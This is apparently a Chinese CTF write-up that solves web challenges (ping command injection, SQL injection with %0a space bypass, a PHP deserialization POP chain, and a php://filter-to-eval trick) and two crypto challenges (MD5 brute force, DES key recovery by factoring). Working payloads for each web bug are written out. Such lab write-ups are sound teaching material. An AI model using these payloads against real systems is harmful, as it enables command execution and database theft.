web
ping(20240421)
题目源码参考:
<?php
if (isset($_POST['ip'])) {
$input = $_POST['ip'];
$rep = array('&',';',' ','$');
$input = str_replace($rep, '', $input);
$command = "ping -c 4 $input";
$output = shell_exec($command);
echo "<pre>$output</pre>";
}
?>
题解:
首先输入一个正确的ip或域名,会出现如下回显。
这里我不在进行黑盒测试,通过上面的源码,这几个符号被过滤。(做题时没有源码,需一个一个测试)
'&',';',' ','$'
但过滤不严格,我们可以通过'||'来进行绕过。(前提条件,在前一个命令执行错误时执行后一个命令)
playload:
查看目录
111||ls
查看flag(由于过滤了空格,所有用{command,param}方式。还有${IFS}等都可以绕过空格。)
111||{cat,fl4g_1s_te8t.php}
最后查看网页源代码即可获取flag
sql(20240421)
本题源码展示。(做题时没有)
<?php
error_reporting(0);
include('sql-connet.php');
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die($conn->connect_error);
}
$user_id = $_GET['user_id'];
if(!isset($user_id)){
echo "<center>input get user_id......</br></center>";
exit();
}
$user_id = str_replace(' ','',$user_id);
$user_id = str_replace('*','',$user_id);
$user_id = str_replace('-','',$user_id);
$user_id = str_replace('\'','',$user_id);
$sql = "SELECT username,password FROM `users` WHERE id=\"$user_id\" limit 0,1";
echo "<center>SQL query:".$sql."</center>";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "<center></br>username: " . $row["username"]."</br></center>";
echo "<center></br>password: " . $row["password"]."<center>";
}
$conn->close();
?>
打开题目首先看到
input get user_id......
所有按要求在url栏用get提交一个?user_id=1。得到如下结果
更具SQL query我们得知了题目的sql语句:?user_id=1" order by 4%23
但结果为,空格不见了,得知过滤了空格。
SQL query:SELECT username,password FROM `users` WHERE id="1"orderby4#" limit 0,1
后面的更具上面的源码可得到过滤的字符,这里不再测试了。直接上playload
空格我们用%0a来进行绕过,还有其他的,自查。
爆字段(<=正确字段有回显,>则没有回显)
?user_id=1"%0aorder%0aby%0a2%23
爆库名
?user_id=999"%0aunion%0aselect%0a1,database()%23
得到库名security
爆表命
?user_id=999"%0aunion%0aselect%0a1,(select%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database())%23
得到表明FLAG,emails,referers,uagents,users
爆字段
?user_id=999"%0aunion%0aselect%0a1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name="FLAG")%23
得到字段f4lg
爆数据
?user_id=999"%0aunion%0aselect%0a1,(select%0af4lg%0afrom%0aFLAG)%23
得到flag为yami{sqi_very_easy_123456admin}
此题方法很多,也可以试试sqlmap
ser(20240421)
<?php
/** php version 5.6
* flag in ./flag.php
*/
highlight_file(__FILE__);
error_reporting(0);
class W1nner{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->serser($this->h2);
}
}
class err0r{
public function __call($name,$args){
print($args[0]['cbkyami']);
}
}
class yami{
public $cmd;
public function __toString(){
passthru($this->cmd);
}
}
unserialize($_GET['yami_yami.yami']);
?>
php反序列化,读源码可得,用get提交一个
?yami[yami.yami
但在php变量里,不允许出现"_",根据提示php version 5.6,小于8(记不清了)。
php会把"["解析成为"_",且后面的保持不变,所有在这里我们输入
yami[yami.yami
绕过限制。
接下来就是构造pop链:
读源码可知,我们需要执行passthru($this->cmd);
我们只要(php魔术方法这里不展开谈)
W1nner->h2->err0r->__call->yami->__toString
playload:
<?php
class W1nner{
public $h1;
public $h2;
}
class err0r{
}
class yami{
public $cmd='cat ./flag.php';
}
$a=new W1nner();
$a->h1=new err0r();
$a->h2=['cbkyami'=>new yami()];
echo serialize($a);
输入以下playload,查看源代码即可获取flag
?yami[yami.yami=O:6:"W1nner":2:{s:2:"h1";O:5:"err0r":0:{}s:2:"h2";a:1:{s:7:"cbkyami";O:4:"yami":1:{s:3:"cmd";s:14:"cat ./flag.php";}}}
base_cover(20240421)
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($waf){
if(preg_match_all('/base64/',$waf)){
return $waf;
}else{
return 0;
}
}
function waf2($cmd){
$replace_chars = array('flag', 'cat', 'tac', 'more', 'less', '*','$','nl', '\'');
foreach ($replace_chars as $char) {
$cmd = str_ireplace($char, "", $cmd);
}
return $cmd;
}
$name = waf($_GET['name']);
$yami = $_GET['yami'];
if(isset($name)&&isset($yami)){
$content='ctf_intersting_ctf'.$yami;
if ($name!==0){
file_put_contents("$name.txt",$content);
}
$tmp = file_get_contents('system.txt');
echo $tmp."</br>";
$cmd = waf2(waf2($_GET['cmd']));
echo $cmd;
if ($cmd){
eval($tmp($cmd));
}
file_put_contents("system.txt","");
}
?>
审计代码,找到我们的利用点在eval()函数
两个waf比较简单,第一个为检测我们输入是否含有base64关键字,第二个就是将$replace_chars有的关键字进行替换为空。
file_put_contents("$name.txt",$content);
将$content的内容写入文件中,内容为ctf_intersting_ctf+我们通过$yami输入的值,而文件名则为$name输入的值。
$tmp = file_get_contents('system.txt');
eval()里面有两个变量,分别为$tmp、$cmd,毋庸置疑我们需要构造一个能执行系统命令的函数。如system()、passthru、exec等等。
唯一的问题就是,$tmp的获取是通过上面函数读取,但里面有一个无用的值,'ctf_intersting_ctf'。
这里我直接给出如和绕过的playload:(原理可以自查)
<?php
$a='system';
$a=iconv('utf-8','utf-16',base64_encode($a));
$a=quoted_printable_encode($a);
echo $a;
name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=system
yami=FF=FEc=003=00l=00z=00d=00G=00V=00t=00
即可将我们想执行的系统命令函数上传,将原来的值清空。
最后的cmd就很简单了,可以用双写绕过,但需要写两次,因为被两个waf包裹
cmd=caccatatt flflflagagag.php
这样即可获取flag,也许查看源代码
crypto
login_ctfd.othing.xyz(20240421)
此题没有什么好说的,简单
md5(123456xxxsu789)=ce07a3bc116a4d6d7a7b285954e246bd
只需要爆破xxx即可(因为比较简单,计算量不大)
<?php
$b='ce07a3bc116a4d6d7a7b285954e246bd';
for($i=32;$i<128;$i++){
for($j=32;$j<128;$j++){
for($k=32;$k<128;$k++){
$c=chr($i).chr($j).chr($k);
$a="123456$c"."su789";
if(md5($a)==$b){
echo $a;
exit;
}
}
}
}
123456md5su789
提交后在url栏即可看到flag
des(20240421)
from Crypto.Cipher import DES
from Crypto.Random import get_random_bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
key = long_to_bytes(getPrime(64))
iv = get_random_bytes(8)
print('acc:', bytes_to_long(key)*bytes_to_long(iv))
m = 'flag{xxxxxxxxxxxxxxxxxxxxxx}'
plaintext = (m + (8 - len(m) % 8) * '1')
cipher = DES.new(key, DES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext.encode())
print("c:", ciphertext)
'''
acc: 44002867044872067088796889440883670814
c: b'\xfe\xc6\xb8\xc1\xedgE \x86\xec7\xf1\xa80\x033\x0eM\xeb\xcc\xe8|\xecV\xabC0\x8cX\x06bv\xc5 \x07<w\xb9\xb2\xfe'
'''
关键点就在于acc
他的计算方式是一个64位的素数*随机8字节的iv
那么我们只需要把acc进行分解就能得到key和一堆iv的因子,将除了key的所有数相乘就是iv。
在线素因数分解factordb.com,也可以用yafu来进行
我这里用的yafu
P1 = 2
P4 = 1931
P8 = 75839683
P8 = 11789131
P20 = 12743549263990679789
完整的playload:
from Crypto.Cipher import DES
from Crypto.Util.number import long_to_bytes
acc = 44002867044872067088796889440883670814
c = b'\xfe\xc6\xb8\xc1\xedgE \x86\xec7\xf1\xa80\x033\x0eM\xeb\xcc\xe8|\xecV\xabC0\x8cX\x06bv\xc5 \x07<w\xb9\xb2\xfe'
P1 = 2
P4 = 1931
P8 = 75839683
P9 = 11789131
key = 12743549263990679789
assert P1 * P4 * P8 * P9 * key == acc# 验证一下
key_hex = long_to_bytes(key)
iv = P1 * P4 * P8 * P9
iv_hex = long_to_bytes(iv)
decrypto = DES.new(key_hex, DES.MODE_CBC, iv_hex)
m = decrypto.decrypt(c)
print("m:", m)
m: b'flag{des_Function_encrypto_decrypto}1111'